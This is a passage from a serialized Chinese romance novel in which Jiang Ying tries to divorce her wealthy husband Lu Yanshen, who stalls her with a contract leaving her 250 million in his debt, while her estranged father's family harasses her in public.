陆书泉为了跟陆砚深争权,暗中没少做使绊子,但这次她也想不通,为什么会选择这样一件事。
根本就动摇不了陆砚深一分一毫,偷鸡不成蚀把米。
孙兰芳回神,急忙开口,“砚深,这里一定有误会,小璟怎么会干这么无聊的事?你知道的,他的心思全在玩儿上。”
陆砚深挑眉,“我知道,所以才问三叔。”
陆书泉缓了几秒钟,抿唇,“谁知道这孩子抽什么风,等过年他回来了,我好好问问他。”
“三叔,不管怎么说,这事因你们三房而起,给我和我老婆造成的伤害不能就这么算了。今年你个人分红的百分之二十来抵偿公司的名誉损失及我在这件事上的所有花费,剩余的是给江莹个人的名誉损失。”
陆书泉瞬间暴躁,一下子收入少了百分之二十,算下来一个亿呢。
“砚深,你借题发挥,你老婆没给别造谣的机会,会有这事吗?别说不知道是不是陆璟干的,真要是他干的也是为我们家严肃家风。”
孙兰芳也想开口,老太太发话,“像什么话,P图造谣也算严肃家风?你爸躺在床上不是因为这事闹的?按砚深的意思办。”
江莹心里舒服了不少,坐着吃了个瓜,还能拿不少钱,很划算。
就是不知道陆砚深发什么神经,怎么突然发善心给她钱?
不管狗东西怎么想,就当是给自己母亲的补偿。
“三叔,记得把钱打我账上,稍后我把账号发给你。”
她说完起身要走,手却被陆砚深拉着,男人直接跟她一起出了病房。
“干什么去?”
“我妈没有这么多孝子贤孙,她只有我一个,所以陪我妈去。”
江莹看着男人冷白皮的脸上,五指印明显,阴郁了半天的情绪,突然就舒爽了。
陆砚深看她盯着自己脸看,睨了她一眼,“很好看?”
江莹冷笑,“是挺好看的,白里透红。”
“你妈……”陆砚深看她脸色不好,抬手去试探她的体温,“你妈醒了吗?”
“不劳陆总费心。”
江莹在陆砚深触碰到她的那一瞬,将人推开。
“你是不是还在发烧?”
刚刚就觉得她手太凉,所以有一下没一下地揉着。
“猫哭耗子假慈悲。”
“就你这个的样子,我怕你出去晕倒在街上,警察联系我。”
江莹额头滚烫,手却冰冷,明显是还在发烧。
她抗拒陆砚深的触碰,挣扎着要走,被陆砚深一把抱了起来。
“陆砚深,你放开看我,别忘了我们明天要去办离婚。”
“那也是明天的事,今天你有什么事,法律上还是第一时间联系我。”
陆砚深嗓音清冷,抱着她往医生办公室走。
路过护士看他抱着人,还以为很严重,好心提醒:“先生,旁边有轮椅。”
陆砚深没有说话依旧大步往前走,江莹却囧得不行。
“你放我下来。”
说着抬手在他胸口狠狠拧了一下,想到自己母亲平白无故被人捅了一刀,她手上的力气加重,几乎是用尽全力。
“嘶……”
男人低声发出一声闷哼,任由她发泄。
到了医生办公室,陆砚深沉声开口,“医生,昨天晚上开始发烧,今天凌晨五点钟打的点滴,现在还烧,看一下要不要再打针?”
江莹道:“今天太忙,忘了吃药,我回去吃药就好。”
医生检查一番,查看了早上的病历,最终选择让江莹回去吃药。
出了医院,江莹自己叫车。
陆砚深倚在车门边抽烟看着她,心里气得不行。这么冷的天,本身就发烧,非要赌气。
寒风中,女人穿着白色羽绒服,小脸掩在帽子里,搓着手,踱来踱去。
五分钟过去,陆砚深扔了手里的烟,直接上前拉住江莹,然后把人塞到车里。
“我不想没变成前夫,最后变成鳏夫。”
“陆砚深,你妈没有教过你什么是边界感吗?”江莹气呼呼瞪着他,“我们要离婚了,你懂不懂离婚是什么意思?”
江莹声落,车里一片死寂。
陆砚深整个人阴森恐怖。
杜宇震惊,怎么就提离婚呢,明明今天刚给张启明送了大馅饼。
难道太太不是闹脾气生气,是真的想要离婚?
怪不得总觉得江莹跟之前不一样了。
以前她哪里生气这么久过,陆总稍微态度好点她就不生气了,或者两三天时间她就自己把自己哄好了。
江莹这会儿愣住,她刚刚气昏了头,顺嘴就说出来了。
在陆家,陆砚深的父母是禁忌话题。
之前什么样,她不清楚,反正跟陆砚深结婚三年,她从未听人提起过。
就连清明祭拜,陆砚深也从未去过。
江莹虽然有些后悔,但毕竟是他强人所难在先,想要下车,却被他拽着。
车子发动,直奔疗养院。
江莹松了口气,还好不是强迫她回家。
两人没有再说话,一路上一个靠左,一个靠右,中间像是隔着楚河汉界。
车子靠近疗养院大门,远远看到宋瑾修双手插袋在门口徘徊。
他看到缓缓驶来的车子,脚步顿住。
车子停稳,江莹和陆砚深同时下车。
“莹莹,你……”
杜宇看到陆砚深有些震惊,显然没想到江莹会跟他一起回来。
“师哥,这么冷你怎么站在这里?”江莹没想到他会来。
“想着你会在这边陪阿姨两天,怕你没有日用品和换洗衣物,所以给你带了点。”
这时,杜宇提着从后备箱拿出的东西过来,“太太,陆总让王嫂帮你收拾了一些用品和衣物。”
杜宇当时还纳闷,接到家里电话说老爷子在抢救,陆总为什么会给王嫂打电话让她准备太太的东西,原来是算准了太太会去。
陆砚深看着两人情哥哥情妹妹的样子,已经有所缓解的情绪,有阴沉了几个度。
他抬手接过杜宇手里的东西,嗤笑:“宋总,献殷勤也该等我们离婚之后吧?这么心急,不怕别人说你知三当三。”
“陆总,且不说莹莹值得,单说能跟抢过你陆总,怕也不是一般人能做到的。”
陆砚深勾唇,挑眉,“宋总还挺自信。”
江莹这会儿心里并不舒服,今天刚逼着这货签了离婚协议,晚上又一起回来,不了解经过的怕是还以为她又被哄好了。
她一把抢过陆砚深手里的东西,“陆总,这里不欢迎你,明天民政局见。”
第46章 去登记离婚
陆砚深心里是有愧的,虽说秦敏不能接受他娶了别人,但毕竟江莹和她妈妈都是无辜的。
所以,他想去看看自己岳母。
但此时,江莹挡在他面前,他往前一步,江莹就推他。
他朝左,她也朝左;他朝右,她也朝右,根本就不让他往里进。
看眼前的女人此刻像个刺猬,脸色也不好,陆砚深深吸一口气。
这人发着烧,还跟他硬刚!
看到宋瑾修自然而然伸手接过江莹手里的东西,他冷冷看了一眼宋瑾修。
余光扫过江莹平静苍白的脸,他转身离开。
心想,总不能让她冻死在街上。
“莹莹,走吧,外面冷。阿姨已经醒了,我们回去看看。”
江莹点头,听着身后车子发动,渐行渐远,开口,“师哥,其实你不应该掺和到我和陆砚深的事里,他若是以后针对你,你会很麻烦。”
若是之前她不会觉得陆砚深会针对师哥,但今天师哥的话……
她不敢保证陆砚深不会放在心上,狗男人那么狗,稍微给师哥使点绊子,都够师哥喝上一壶。
“师哥又不是泥捏的。”宋瑾修看着江莹,笑容温润,“这几年师哥多少也是有点成就的,别担心我。”
江莹刻意跟宋瑾修拉开一点距离,为了避免自己的动作太明显,她语气轻松了几分,“师哥,向来优秀,一定会更加厉害。”
宋瑾修把她小动作看在眼里,弯唇笑笑,“你这拍马屁的能力用在我舅舅身上就行了。”
江莹忍不住勾起了唇角,她一拍马屁,老师就会很好说话,这倒是真的。
“对了,你没有把我这里的事告诉江墨吧?”
宋瑾修摇头,“没有,他前天跟我一起出差,我让他写项目投资方案,不让他分心。”
江莹鼻子有些酸,这些年师哥确实很了解她。
她不想让江墨卷进这些乱七八糟的事,那天给江墨发了消息说要夺回江氏,那小子还挺起劲儿。
说他会努力学习,将来一定会打理好公司。
江墨是江家的希望,也是她的责任。
车祸时,若是舅舅急转方向,她和母亲在那场车祸中很难脱险。
……
相较于江莹心里的酸涩,此刻的张启明心里不要太得意。
张家别墅。
一家人围在餐桌旁,张启明特意开了瓶红酒。
“爸,这么好的酒,我也要尝尝。”张冉冉撒娇地摇着张启明的胳膊。
张启明拍拍她的手,“好好好,给你尝尝,但不能多喝。”
那慈爱的目光,若是江莹看到一定会以为自己看错了。
张旭晃动着手里的酒杯,迷眼笑道:“二叔,这次真没想到哈,到现在我都觉得陆砚深脑袋是被驴踢了。”
“你这孩子。”张启明白了他一眼,“怕不是陆砚深脑袋被驴踢了,而是江莹害怕了。”
张旭沉默一瞬,点头,“有道理,她毕竟是陆砚深的老婆,那些照片若是被传到网上,陆砚深铁定不会要她是小,到时候怕是江北的唾沫星子都会把她淹死。”
“我还以为陆砚深这次不会再要她,没想到热搜上去不到一个晚上就撤了。看来,江莹那张脸还是有点用的。”
唐玉声音里含着嗤笑,仿佛江莹是他们的耻辱。
“好看不会用,要是我,这么极品的男人,我哄还来不及,她还板着张脸,跟欠她几百万一样。”
“哼,跟她那个妈一样,装清高。”张启明冷哼,“最后不还是要去讨好男人。”
唐玉不耐烦,“好好提她她干什么?”
张启明知道她的心结,握住她的手,“不提不提,这么高兴的日子,不提那个晦气的人。”
“小旭,这个项目你要跟好了,跟着杜宇多学学,他这个人是陆砚深一手带出来的,能力很强,这次你跟进项目别丢了我的脸。”
张旭心想,哪里还用跟,人家出钱出项目,就是等着分钱。再说他在陆砚深那里,哪里还有脸,几年了连顿饭都没有来吃过,见面也是张总,从来都没有把他当岳父。
心里这么想,嘴上还是恭顺地答应,“二叔放心,你让我怎么做我就怎么做,我都听你的。”
他说完逗自己堂弟,“诚诚,吃饭完,大哥带你去放烟花,今天这么高兴的日子,我们放烟花庆祝一下。”
张冉冉兴奋地举手,“大哥,我也,我也要放烟花。”
张启明抿唇笑得更加得意,“这个项目做下来,净利润超过三个亿,值得庆祝,你们都去。”
白捡这么多钱,天上掉金元宝一样。
……
宋瑾修走后,江莹看母亲眉头紧蹙,知道她伤口痛。
江莹心疼,去找医生拿镇痛泵。
走在楼道上,看到楼下的雪松下隐隐站着人。
虽然看不真切,但能看出是一男一女。
男的看着有点像是师哥,但师哥已经走出去好几分钟了,这会儿应该已经开车出去才对。
应该不会是师哥,没听他说在这里有熟人。
江莹从护士那里拿了镇痛泵回来,走到楼梯口,刚好碰到秦欣上来。
看到江莹,秦欣并没有诧异,而是抿唇笑了。
“江莹,算你识相,有自知之明,抢的就是抢的,砚深不会因为他娶了你就有改变,他不喜欢你不会因为跟你结婚而改变。”
她上下打量着江莹,眼神不屑,“那三百万就当我给你的补偿,感谢你这三年对砚深的照顾。”
江莹扫了她一眼,“那你给的太少了,陆砚深给我三个亿,你就给三百万,是不是觉得他不值钱?”
秦欣愣了一瞬,陆砚深给她三个亿?
一个蓝湾项目,累死累活,工期要三年,净利润也才三亿,他给江莹离婚补偿都三亿。
“在我心里砚深是无价的,我们十八岁那年相识,彼此相爱,这份感情多少钱都买不到。再说了,我们还有轩轩,早就不可分割。”
“当初砚深娶你是迫不得已,他三叔在公司处处跟他对着干,而娶你陆爷爷把自己名下百分之五的股份作为补偿给了砚深,这才让他在公司站稳脚跟。”
“所以,你也不是一无是处。三个亿在百分之五的股份面前不值一提。”
连陆砚深拿到百分之五的股份她都知道,看来孙兰芳说的是真的。
若是之前听到秦欣的话,她会伤心,但现在秦欣的茶言茶语已经伤不到她。
“那祝福你们。”江莹红唇轻抿,嘴角的梨涡微微浮现,“你若是把剩下的七百万给我补上,你们结婚我还能随个份子钱。”
江莹睨了一眼秦欣离开。
明天就要去民政局登记离婚,跟她还有什么好说的。
次日一早,江莹早早吃了早饭收拾好,江岚被刘姐扶着也稍稍坐起了一点。
看母亲脸色比昨晚好了不少,江莹拉着母亲的手撒娇。
“妈妈,你看看我今天是不是很漂亮?”
江莹化了个精致的妆容,头发是现在比较流行的低马尾,整个人气质清爽恬静。
身上特意穿了件红色的羊绒大衣,整个人精气神十足。
看着不像是离婚的,倒像是去结婚的。
江岚像是听懂了她的话,又或许是被女儿灵动俏丽的小脸吸引,她一直盯着江莹。
虽然没有过多的回应,确实这些年第一次这么盯着她看。
江莹控制着情绪握住她的手,“妈,我一定会好好的,你也快点好起来。”
她在想若是母亲是清醒的,知道她今天是去登记离婚,她应该会落泪。
不管母亲是否能明白,江莹都不想让自己脆弱的一面展现在她面前。
她眉眼弯弯地抱着自己母亲的脸亲了一下,“妈,我出去一趟,很快回来陪你。”
江莹离开的时候脚步是轻快的。
结婚匆忙,离婚并不匆忙,这件事在她心里很久了。
那个孩子的存在不过是个导火索,她的心早在陆砚深一天天的冷漠中变凉。
上车后,江莹给陆砚深发了消息:陆总,我在民政局门口等你。
第47章 陆总,你不会离不起吧
此时的陆砚深正在会议室开早会。
技术部方经理正在汇报项目进度,目前他们的新材料项目进展遇到瓶颈。
实验室做出的纳米金属粉纯度远高于进口,现在唯一的难点在于量产难度大。
“陆总,现在的设备和工艺都无法保证量产的品质,若是能够投产一条我们自己的全新生产线,或许可以试试。”
方经理话落,陆砚深手机震了震。
他垂眸看到屏幕上的消息,“啪”一声将手机扣在会议桌上,整个人气压骤然降低了好几度,脸色也肉眼可见的黑了不少。
这女人看不出他昨天是生气的吗?
当着宋瑾修的面,让他下不来台,还跟人家坐那么近。
再说了,昨天下午不是给她补偿了,张启明得那么大个便宜,她还不知足?
杜宇看这架势,就知道准是太太发来的消息。
能够影响他家总裁心情的,现在除了太太,找不出第二个人。
他刚准备提醒陆砚深,方经理很没眼力见地开口追问,“陆总,您看资金什么时候可以到位?”
杜宇皱眉,这人怕是要遭殃。
果然,下一秒……
“实验室数据那么好,你拍着胸脯说是全球纯度最高的,现在告诉我不能量产,投进去那么多人力物力,给你玩儿呢?”
“还要再投一条全新的生产线,怎么嫌实验室地方小不够玩儿?”
一时间,整个会议室落针可闻。
陆砚深没有抬头,视线停留在手机上,声音冷厉,“三天给我可行性方案,若是拿不出来收拾东西走人。”
留下这句话,刚开始十分钟的早会,匆匆结束。
“杜特助,陆总今天这是怎么了?项目瓶颈问题,前天不是已经私下跟他说过,今天不就是讨论投线的事吗?”
杜宇摇头,方经理的技术水平在国内是顶级的,但这……看不懂老板脸色也会成为职业绊脚石。
“现在给我三天时间,这不是逼我走吗?”
“别说三天,就是三个月,我也拿不出来。”
方经理,愁容满面,手里的资料一把甩在会议桌上。
杜宇暗暗叹气,老板走了,烂摊子只能他来收拾。
他连忙安抚,“方经理,陆总情绪不好,你按照现在的方案先准备。陆总那边,我去汇报。”
杜宇出了会议室,准备回自己办公室,今天不宜在老板面前晃。
人还没走两步,陆砚深给他打来电话。
听到最后,杜宇都没有说一个字,惊的。
自己老板多精明一个人,怎么到了太太那里就跟个铁憨憨一样?
怎么就不明白女人是哄到手的,不是逼到手的?
“听到没有?”
“哦,陆总,我听到了,但你这么做……”
“执行。”
陆砚深留下最后两个字,直接挂断了电话。
杜宇无奈地去办事,他突然觉得若是太太跟陆总真的离婚了,他挣钱的日子也应该要到头了。
但陆砚深十头牛都拉不回来的样子,他无能为力,只能尽可能不把事情搞太僵。
……
江莹到民政局时,是九点十五分,想到时间还早,她先进去咨询流程。
了解到离婚协议需要现场签,江莹表示自己草率了。
看来还得等让陆砚深重新签一次。
她按照工作人员的指导整理好资料坐在大厅等着。
眼看已经过了约定时间,仍不见陆砚深的影子,江莹给他打电话。
手机响了很久,狗男人不接。
江莹隐隐觉得怕是不会顺利,挂断电话给他发消息:陆总,离个婚而已,你不会离不起吧?
结果,狗东西秒回:不会,我怕陆太太离不起。
江莹刚准备给他回消息,公司法务部的李律师提着公文包进来。
“太太,陆总让我来跟您谈谈财务问题。”
李律师之前不知道江莹是陆砚深妻子,半个小时前杜宇突然找到他,接到任务差点没惊掉下巴。
“李律师,我没跟陆砚深没什么财产纠纷。”
李律师推了推眼睛,神色有那么一瞬尴尬,紧接着陪笑道:“之前应该没有,但……现在刚有。”
他这话把江莹听糊涂了,她都已经离职,若不是还有假没有休完,马上就可以去办离职手续,哪里来的财产纠纷?
李律师抬手做了一个请的动作,“太太,我们这边说。”
江莹还真不明白,怎么就突然有了财务纠纷?
两人在一旁的等候区坐下,李律师从包里拿出一份材料。
“太太,你先看一下,这是昨天下午陆氏跟江氏签订的合同。”
李律师提到这合同神色复杂了几分。
这份合同是经他手出的,当时就觉得陆总脑子不清楚,怎么出这么傻逼的合同,若是被同行知道,他怕是出了陆氏就没有公司肯用他。
现在总算知道,他们走一步看三步的陆总,为什么会干这种傻事,原来是不想离婚。
江莹接过合同看到乙方名字瞬间不淡定,陆砚深不是不同意张启明参与新能源项目,怎么突然又同意了?
他明知道自己要跟他离婚,还选择这个时候跟让江氏加入项目,安的什么心?
“太太,按照合同约定,这个项目江氏一分钱不用投,却可以拿到百分之十的利润,保守估算将近四点五亿。”
李律师看着江莹,暗暗搓了搓手,又道:“按照您提的要求,离婚要三个亿赔偿,一个亿买肾源的消息,这么算下来,您还欠陆总二点五亿。”
“二点五亿?”
江莹震惊过后,脑袋有短暂的宕机。
“对,陆总说只要您能还上这二点五亿,他就可以来办手续。”
江莹气的眼前一黑,别人离婚都能分不少钱,她离婚,竟然负债二点五亿。
离谱他妈给离谱开门,离谱到家了!
“陆砚深这个狗东西,真特么狗!”
几乎没怎么爆过粗口的江莹这次是真的气急了,当众就爆了粗口。
昨天上午签的离婚协议,下午就把项目给了张启明,这是给她挖坑呢,果然没安好心。
一个穷得只剩钱的狗东西,还缺那二点五亿?
他这被就该搂着钱睡,要什么女人,结什么婚。
越想越气,江莹直接给陆砚深打电话。
这次手机响了没几声,电话就接通了。
“有事?”
“陆砚深,你脸比你屁股大,癞蛤蟆插毛,你算飞禽还是走兽?”
“我看你他妈就是只禽兽,百度搜不到你,一试搜狗全是你。”
李律师在一旁听得眉头紧蹙,脑仁突突直跳。
看着温柔恬静的人,怎么发飙了这么会骂!
旁边的也来办离婚的两口子,本来还在争吵,听她这么一骂,架都不吵了,反而看看彼此憋着笑。
陆砚深坐在办公室,本来心情挺不好,想到江莹铁了心要离婚,心里就堵的慌。
听她这么骂,瞬间胸口就不闷了,嘴角不由地勾了起来。
这小刺猬,又炸毛了。
想象着她发飙的样子,他抬手点了根烟,双腿交叠,身体往后靠在座椅上,竟然还有那么点惬意。
“骂够了就想想怎么还钱。”陆砚深缓缓吐了口烟圈,补充道:“好心提醒你一句,你可以跟你爸商量让他违约,违约金多少我不记得了,你可以看看合同。”
“陆砚深……”
狗男人没有听她骂,说完直接挂了电话,抬手捻灭手里的烟,浑身轻松。
江莹听着电话里的嘟嘟声,咬牙切齿,翻到合同的最后一页,看到违约金翻倍两个字,将手里的合同扔在了地上。
“狗东西,他就是故意的。”
“太太,你再好好想想,有事可以给我打电话。”
李律师觉得自己此行的任务已经完成,没有再留下来的必要。
律师刚走,张启明匆匆赶来。
第48章 我又不是弟弟,召之即来挥之即去
接到杜宇的电话,张启明还不太信,江莹要跟陆砚深离婚,这怎么可能?
要离婚,陆砚深还给自己送钱,他什么时候这么孝顺了?
转念想到江莹,就生气。那人是陆砚深,她脑子被驴踢了,竟然想跟陆砚深离婚。
他一开始还以为杜宇说错,以为是陆砚深要跟江莹离婚,好一顿赔不是,让他帮忙说好话。
没想到最后杜宇却说是江莹主动提的。
这死丫头真是傻得不轻。
“江莹,你是不是跟你妈那个傻子待久了,自己也脑子不清楚了。多少女人求之不得的人,你却要他离婚,你真当自己是天仙,所有人争着要。”
江莹看到他,咬唇,陆砚深是真狗,明知道张启明是什么人,他却把离婚的事告诉了张启明。
不由得更恨他。
这狗东西显然不会来,江莹不想在这里跟张启明说话,确切的说是根本就不想看到他。
她起身拿着资料往外走,张启明急匆匆跟着她往外走。
“死丫头,翅膀硬了,跟你说话呢。”
“我只跟人说话。”江莹没有看他,声音清冷。
“我是你爸,你怎么跟我说话呢?”
听到“爸”这个字,江莹脚步顿住。
“你配吗?”她没有回头,努力想要把张启明那张脸,从她脑子里摒除,“你也不怕天大雷劈,怎么好意思说你是我爸?”
江莹的恨意,让张启明收敛了一些情绪。
“莹莹,你误会了,那些照片是你堂哥不懂事拍的。”
“呵,他不懂事拍的,结果到你手里,你拿着照片威胁我。”
江莹那天就是算准了张启明不敢把照片发出去,只要她跟陆砚深一天不离婚,他们就不敢。
要舍弃陆砚深这颗摇钱树,跟割他们的肉差不多。
“那……那不是一时着急吗?”张启明没想那么多,这会儿只想劝江莹不要再耍脾气,“莹莹,爸爸知道你的脾气,宁折不弯,所以就听了你堂哥的话想着逼你一把。”
“孩子,我也是为了你好啊,我看到过你的日记,里面都是陆砚深,你很小就喜欢他不是吗?”
“陆砚深那么优秀,你又那么喜欢他,能嫁给自己喜欢的人多少人求都求不来。”
江莹怔了一下,怪不得他们会拉着自己就往陆家送,原来是偷看了她的日子。
张启明偷偷去她房间偷看她的日记,这是什么时候的事?
那时候,她会不会就在洗澡,所以才会有了那几张照片?
一股恶心再次涌上心头。
江莹冷笑,咬牙道:“张启明,‘爸爸’这个称呼你不配,别玷污了这两个字。”
张启明看江莹软硬不吃,装不下去,“江莹,你给我听好了,要想离婚除非从我死。”
“那你去死好了。”江莹声音平淡,却透着骇人的恨意。
“你……”
张启明气得不行,抬手扯过她的胳膊抬手想要打她的脸,被江莹厌恶地一把推开。
她使出了全身力气,张启明没有防备,被她推倒,一屁股蹲在地上。
“张启明,我的事你管不了,在我心里你已经死了。”
刚到民政局门口,张家老太太被张冉冉扶着赶来。
“江莹,我们张家是造了什么孽,怎么有你这样一个目无尊长的东西。你妈那个不检点的骚货,坑了我儿子一辈子,你现在还想坑我们全家?”
江莹要走,张冉冉拦住她,“江莹,我就没有见过你这么水性杨花的女人。陆砚深都没有抛弃你,你为了一个野男人要给自己丈夫离婚,还拖累家里,你怎么那么不要脸?”
老太太和张冉冉这么一闹,让原本就有些好奇她和张启明的人,瞬间围了过来。
“我刚才就听到她爸劝她不要离婚,男方似乎不想离,刚刚也派了人来劝,这女的怎么缺心眼儿呢?”
“哎,真是不孝,刚才我还听到她让她爸死呢。”
“外面到底是找了个什么样的,这是王八吃秤砣铁了心呐。”
“要我有这种女儿,早打断她的腿了,哪里还等到她把我推到?”
江莹对围观人的指点并不放在心上,不知者无罪。
她挺直脊背,瞪了眼张冉冉,声音冷得不行,“让开,否则别怪我不客气。”
想到上次江莹在家里的狠厉,张冉冉有些虚,老太太她是不敢动的,但自己就没有那么好命了。
于是,她可怜巴巴站在一边,“姐姐,爸爸和奶奶都是为了你好,你别冲动。”
旁边的环卫大爷,看不下去。
抬起扫把往江莹身上拍了下去,“你这个女孩子,穿得漂亮,长得也好看,怎么就不干人事?这么不孝顺,你妹妹都比你强。”
江莹气笑了,他们真是一家人为了钱是脸都不要了,黑的说成白的。
跟这么一群人说不出个所以然,江莹没有说话,直接离开。
走在大街上,心里堵得厉害,陆砚深摆明了为难她,至于他为什么不想离婚,除了男人的面子,她想不出什么理由会让他这么做。
昨天那种情况,还有师哥在,他肯定是觉得自己丢了面子。
想到这里,江莹头大,狗东西不来就不能办理离婚登记。
现在登记离婚,加上一个月的离婚冷静期,也要年后才能拿到离婚证。
越想心里越气,直接打车去了公司。
总裁办门口正在交代事情的杜宇看到她,心里一跳。
虽然江莹脸色不算好,但没有离婚,他的任务就算完成了。
看来自己这步棋是走对了。
杜宇笑眯眯上前,小声道:“太太,你怎么来了?”
“陆砚深在不在?”
江莹没有刻意压低声音,以至于距离杜宇较近的秘书听到江莹直呼老板大名,心里暗暗替她捏了把冷汗。
这个江莹休息几天休傻了,怎么直呼陆总大名?
“陆总在办公室,胃正难受,让我下楼去买药。”
杜宇秉着让两口子好好聊聊的理念,在江莹进去后吩咐秘书处,“不管谁来了,不准敲门打扰。”
秘书处的几个人一头雾水,江莹设计室的一个小主管,跟大老板什么时候关系这么近了,以至于让杜宇特意交代。
江莹推开办公室,狗男人没有抬头,以为杜宇进来。
“这么快就买好了?”
江莹看着狗男人眉头紧拧,还在认真工作,冷嗤:“陆总胃疼,还这么卖命工作,挣那么多钱就为了给自己买棺材?”
女人开口的那一瞬间,陆砚深就抬头了,显然没有想到她会来。
“夫妻一体,放心,我也会给你准备一副。”
“那到不用,生不同床,死不同穴。”
江莹心里气得不行,看到狗东西稳坐钓鱼台,更是咬牙。
陆砚深听到这话,原本就不怎么好看的脸色,又难看了几分。
“你来就是为了气我?”
“难不成我还是为了感谢你?”江莹恶狠狠瞪着他,“陆砚深,我现在真有点搞不懂你了,你说你花五个亿,就为了买点面子吗?”
“你要觉得我先提的离婚,让你很没面子,可以你先提。我都愿意成全你了,你这么纠缠有什么意思?”
陆砚深深吸一口,身体往后靠在座椅上,“我现在觉得还挺有意思,我们的婚姻也不是一无是处,最起码在某些时候你还是挺让我满意的。”
他说的“某些时候”时,故意加重了语气,江莹想不明白都难。
“再说了,是你先招惹我的,不能你想开始就开始,你想结束就结束。”陆砚深睨了她一眼,嘴角噙着若有似无的笑,“召之即来挥之即去,我又不是弟弟。真要把我当弟弟,凭我的身价,二点五亿也是超低友情价了。”
“你镶钻的?”
江莹没想到这人,这么无耻,看到他前面的水杯,她抬手端起来直接泼到陆砚深脸上。
第49章 不堪的生活就该一刀斩断
“江莹……”
陆砚深蹭地一下站了起来。
江莹看他恨不得吃人的表情,有些胆怯,冲动了,陆砚深真要动粗,她打不过的。
早知道跟着梁玥学几招了。
陆砚深看着眼前对他咬牙切齿,眼神却有些慌乱的人,心里的气瞬间就消了。
他磨了磨后槽牙,上前捏住她的下巴,“前天打我耳光,今天泼我水,你是越来越能耐了。”
怂归怂,但江莹并没有退缩,“陆砚深,我们这样纠缠有什么意思,你觉得那个孩子他能藏一辈子?”
“背着私生子这个称呼,你觉得他长大了会恨你还是感激你?”
提到那个孩子,陆砚深神色凝重,“他不是私生子,我答应过会护他周全,你就当不知道?”
“我的丈夫,跟他喜欢的女人有个孩子,你让我当作不知道?”
江莹被他的话气笑了,“他们母子,随便一个电话,不管你在做什么,都随叫随到,你让我怎么当做不知道?”
眼看自己跟他谈不到一块儿,江莹一把推开他,“陆砚深,这个婚我离定了,大不了我们就走法律程序。”
男人神色凝重,眉头皱得更深,一只手压在胃部,“江莹,你爸想要的我已经给了,你再闹下去,什么都得不到。”
不提张启明还好,他一提张启明,江莹抬脚踹在他腿上。
“你是给吗,你是算计好的。你给他就是为了牵制我,让他们跑到民政局跟我闹,按的什么心?”
江莹说着说着开始掉泪,想到自己被人围着骂,被环卫大爷拿着扫把拍,心里委屈的不行。
“老公是别人的,老爸也是别人的,你是觉得我还不够惨吗?”
“你有喜欢的人,你们还有的孩子,为什么就不能放过我,我对你来说到底有什么价值?”
江莹梨花带雨,声音带着愤怒,“早知道会是这样,我当初就不该嫁给你。”
陆砚深胸前衬衫洇湿一大片,但他这会儿已经顾不上,江莹言语中的后悔,让他想到了昨晚宋瑾修跟她站在一起的画面。
“你后悔嫁给我,还是后悔当初没有看出来,宋瑾修会有今天的成就?”
江莹此刻意识到秀才遇到兵有多难,她擦了擦脸上的泪,“随你怎么想。”
丢下这句话转身离开。
陆砚深看到她后背的泥巴印,怔住。
江莹从陆砚深办公室出去,直接去办离职手续。
“江姐,你要去哪儿?”小助理薛婷婷舍不得她走。
“还没有想好,想好了告诉你。”江莹边说边收拾东西。
“好啊,你要有了新的去处,我去投奔你。”
江莹笑笑,在这里工作三年,同事之间相处还不错,薛婷婷跟着她一年,工作上一直很依赖她。
“好,有事打电话。”
江莹在想若是她真愿跟着自己干,以后就把她带走。
办完手续,她搬着自己的东西刚出电梯,迎面碰到秦欣提着东西过来。
“江莹,祝贺你离婚。”她嘴角笑意满是轻蔑,眼神也是不屑,“你这婚离得真划算,三年三个亿,到哪儿能卖这么贵?”
江莹抿唇笑笑,“你恭喜得太早了,陆砚深不跟我离,看来你和你儿子两个人都没有栓住陆砚深的心。这么多年了,你说你怎么这么没用?”
“没离?”
秦欣有些不相信,江莹都已经那样逼陆砚深了,还有周梅的施压,陆砚深怎么没跟她离婚?
“江莹,你又耍了什么手段,砚深怎么可能不跟你离?”
“我也不知道,你去问问,有答案了告诉我。”
江莹睨了她一眼,搬着自己的东西离开。陆砚深这个狗东西,天天跟秦欣在一起,还拖着自己,脑子有病。真当她是泥捏的,任他欺负。
想到这里,她脚步顿住,转身叫住秦欣。
“秦小姐,耽误你一会儿献殷勤的时间,我们聊聊。”
秦欣着急上去问情况,怕江莹故意气她撒谎,陆砚深怎么可能会不离?
“没空。”
“事关你能不能成为陆太太,真没空?”江莹抬了抬眼皮睨着她,“三百万对你来说是不多,但扔河里还能听个响,你真甘心自己竹篮打水一场空?”
秦欣从那天的事能够看出江莹是真的要离婚,而且那人也说江莹是下定决心的,所以听她这么说思索了两秒道:“五分钟时间。”
“可以。”
两人在陆氏旁边的咖啡馆坐下。
“有什么话,快点说,五分钟不长。”
江莹笑笑,直奔主题,“用一下你儿子。”
秦欣警惕地看着江莹,“江莹,大人之间的事,不要牵扯小孩子,你别打我儿子的主意。”
“我没有你那么恶毒,天天利用孩子拴住男人。”
“你胡说八道什么呢,我什么时候……”
“再说就没意思了,孩子一有事就给陆砚深打电话,一个不到三岁的孩子不懂自己处境,你和保姆也不懂?”
秦欣心虚,确实是她教的,轩轩生病给她打电话,她说自己回不去,让儿子和保姆有事给陆砚深打电话。
其实她就在跟陆宁一起逛街,什么加班,不过是借口。
“我懒得管你们之间的事,陆砚深愿意,就跟我没关系。我要说的是借你儿子用一下,让陆砚深跟我去办理离婚登记。”
江莹嘴上说走法律流程,但离婚官司有多难打,她也是听说过的,更何况对方是陆砚深,随随便便找个借口就能拖死她。
即便拖不死,也得让她脱成皮,张启明从他那里薅的羊毛估计都会成为他们离婚的障碍。
但有了那个孩子助力就不一样了,陆砚深把孩子看得跟眼珠子一样,他一定不会让孩子有事。
一个周梅,能让陆砚深签字,那孩子就能让陆砚深跟她去办离婚。
江莹可以肯定。
不管怎么说先去办理离婚登记,要不然这婚什么时候才能离得了,三个人的家,她过不下去。
更不想因为是陆砚深的妻子,被张启明盯着算计。
不堪的生活就该一刀斩断。
“你想怎么用?”
“你别管怎么用,但我保证你儿子不会受一点伤,而且能让陆砚深顺利跟我去办离婚登记。”
“就当你没跟我说过。”
秦欣眼珠子转转,看了江莹两秒,拿着东西走人。
“明白,我什么都没跟你说。”
江莹下午去了古坊斋,凌澈已经把办公的地方整理好,他没课就过来江莹安排他招了两个客服,他自己主要就是跟进工厂和产品。
“师姐,这两天我们销量还可以,摆件和礼盒都有不少订单。”
“马上要过年了,我们也蹭一下这波流量,我觉得我们可以设计一些新颖的灯笼、挂件试试。”
凌澈点头,“刚好我这两天没什么事,我来做。”
“我这几天顾不上,辛苦你了。”
江莹有点不好意思,她把凌澈招来的,结果她就动了动嘴皮子。
